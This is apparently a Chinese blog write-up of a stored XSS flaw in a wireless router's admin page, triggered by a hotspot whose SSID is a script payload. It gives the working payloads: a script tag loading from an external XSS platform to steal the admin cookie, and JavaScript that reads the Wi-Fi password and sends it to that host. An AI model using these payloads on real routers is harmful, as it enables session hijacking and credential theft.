今天本想使用台式机上网,然而身边并没有有线接入点。于是乎,想到可以利用无线路由器的WISP功能
正好从小伙伴那里蹭到了一个无线路由器,如下图所示:
虽然丑但是好用哇,咱们登陆后台将路由器配置为无线信号放大模式
emmmm,在选择无线信号名称这里我们发现了一个有意思的选项(扫描上级AP站点信息):
扫描上级AP站点信息之后我们可以获取附近无线热点的一些简要信息,如SSID、MAC等等,如下图所示:
于是我们就想到这样一种攻击思路,是否可以生成一个无线热点,把名字修改为XSS payload,是不是这样受害者在扫描附近AP信息的时候就会执行XSS呢
emmm,我们先看看XSS注入点
XSS注入点在元素内容处,我们可以直接使用<script>alert(1)</script>这类payload
使用手机生成一个热点名称为:%3d/><script>alert(1)</script>
前面%3d/>没有用,只是为了方便以后测试。Emmm,居然没有任何过滤哈哈哈
wink,光弹窗也不是回事呀,我们来试试获取管理员的cookie
修改热点名称为:
<script src=http://xss.pt/ENRM></script>
再次扫描附近无线后,可以看到我们已经成功获得了被攻击者的Cookie
emmm,作为攻击者现在我们可以登录路由器后台啦,但是我们还不知道无线密码是多少,我们来试试能不能通过JS读取Wi-Fi无线密码。
首先我们先看看Wi-Fi密码存在什么位置
虽然密码打*了,但是还是能读出来哒。我们不妨使用Burp抓包看看请求是怎样的
简单抓包分析就可以知道我们只要请求该地址即可获取无线Wi-Fi密码:http://192.168.2.1/goform/wirelessGetSecurity
我们编写一段JS去请求这个这个地址,并将结果发送到我们的XSS平台,代码如下:
var password = "nothing";
var httpRequest = new XMLHttpRequest();
httpRequest.open('GET', 'http://192.168.2.1/goform/wirelessGetSecurity', true);
httpRequest.send();
httpRequest.onreadystatechange = function () {
if (httpRequest.readyState == 4 && httpRequest.status == 200) {
password = window.btoa(httpRequest.responseText);
console.log(password);
var sendPassword = new XMLHttpRequest();
sendPassword.open('GET', 'http://xss.pt/xss.php?do=api&id=ENRM&password='+ password, true);
sendPassword.send();
}
};
测试一下,可以看到console中已经打印出来密码信息
通过抓包也可以看到请求已经发送至平台
nice
解码后我们就得到了Wi-Fi密码
emmmm,虽然我们最后拿到了相关权限,但是这个漏洞还是很鸡肋。因为必须要在目标附近创建热点,就算在附近、人家也不一定会点击扫描热点,就算点击了扫描热点、人家也不一定已经连网,这个漏洞需要的条件太苛刻
但是这个漏洞还是蛮有意思的.....如果有小伙伴有更好的利用思路,欢迎下方留言哇!